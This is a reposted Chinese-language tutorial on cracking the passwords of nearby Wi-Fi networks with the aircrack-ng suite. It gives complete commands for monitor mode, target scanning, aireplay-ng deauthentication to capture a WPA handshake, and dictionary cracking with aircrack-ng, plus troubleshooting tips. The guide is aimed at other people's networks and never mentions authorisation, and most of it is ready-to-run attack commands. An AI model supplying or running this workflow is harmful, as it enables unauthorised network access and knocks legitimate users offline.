轉 利用aircrack-ng工具獲取附近wifi的密碼
提示:下面的所有命令都以root用戶執行
一、關閉網絡和結束可能會影響結果的進程
1、關閉網絡
1
|
service
network-manager stop |
2、結束可能會影響結果的進程
1
|
airmon-ng
check kill |
二、開啓無線網卡到監聽模式
1、查看網卡列表
1
|
iwconfig |
說明:以wlan0和wlan1是無線網卡,我的電腦上有兩張無線網卡
2、啓動網卡到監聽模式(這裏使用wlan0)
1
|
airmon-ng
start wlan0 |
說明:如上圖表示啓動成功,啓動後會給出一個新的名稱接口名,上圖中的是mon0
三、監聽周圍的無線網絡連接並獲取握手信息
1、監聽周圍所有無線網絡信息
1
|
airodump-ng
mon0 |
在這條命令中mon0是上一步中我們得到的接口名
說明:圖下半部分,列BSSID下要有非(not associated)行纔行,上圖中最後一行就是:
1
|
C0:XX:XX:XX:XX:00
14:XX:XX:XX:XX:B4 -87 0 - 1 3 2 |
這時,記下C0:XX:XX:XX:XX:00,並在圖的上半部分中找對應C0:XX:XX:XX:XX:00行,記下CH列下的值爲1。然後關閉此窗口。
2、監聽感興趣的無線網絡
根據上一步的結果執行如下命令:
1
|
airodump-ng
--bssid C0:XX:XX:XX:XX -c 1 -w tmp mon0 |
在這條命令中--bssid後接我們上一部接下的BSSID值,即:C0:XX:XX:XX:XX:00。而-c後接的是我上一步在CH列下找到的值1。而-w後接的是我們保存網絡數據的文件名,這裏是用tmp。在命令的最後接的是之前得到的mon0
運行命令後會得到上圖的結果,並確保上圖的下半部分BSSID下有至少一行的數據
3、得到握手包
保持上一步中的窗口不關,新開一個窗口,執行如下命令:
1
|
aireplay-ng
-0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0 |
觀察我們步驟2中未關閉的窗口中是否出現了下圖中紅款中的內容。如果沒有出現那就再等幾分鐘再次執行本步驟中的命令,直到出現。如果執行了超過30次或者時間超過30分鐘依然沒有出現,建議換一個感興趣的網絡。
出現了上圖中紅框中的內容,就表示我們已經獲取到了握手信息(包含有該網絡密碼的數據)。那麼我們就可以結束監聽網絡了。
四、停止監聽
1、關閉監聽接口
1
|
airmon-ng
stop mon0 |
2、啓動網絡
1
|
service
network-manager start |
五、獲取密碼
此時在執行第3.2步驟中命令的目錄下會有一個tmp-01.cap文件。有了這個文件我們就可以破解密碼了,除了這個文件外,我們還需要一個字典文件。可以從這裏下載,下載後解壓出密碼文件,假設其名字及路徑爲:/tmp/passwd.txt。執行下面的命令。如果密碼字典中有這個wifi的密碼,我們就可以破解出密碼:
1
|
aircrack-ng
tmp-01.cap -w /tmp/passwd.txt |
KEY FOUND!後中括號中間就是wifi密碼了
六、可能出現的問題
1、收到on channel -1的錯誤
第3.3步執行
1
|
aireplay-ng
-0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0 |
1
2
3
|
11:41:04
Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel -1 11:41:04
Couldn't determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch Please
specify an ESSID (-e). |
(1)確保第3.1步中的窗口被關閉了的
(2)確保執行的3.2步中的命令,且名稱中有參數-c且參數-c後的數值是正確的(參數-c 1是爲了把mon0的頻道鎖定在頻道1)
(3)如果依然不能解決,那可能就是驅動問題了,就像我的電腦,在kali3.14上能正常,但在3.20上一直有問題